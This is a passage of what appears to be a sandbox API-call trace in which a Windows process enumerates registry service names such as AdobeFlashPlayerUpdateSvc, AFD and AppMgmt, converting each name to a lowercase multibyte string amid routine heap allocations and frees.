(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f16e8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.240] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.240] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.240] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.240] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.241] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.241] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.241] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0223.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.242] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.242] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.242] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.242] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0223.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.243] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.243] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.243] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0223.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.244] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.244] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.244] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.244] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0223.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.245] RtlFreeHeap 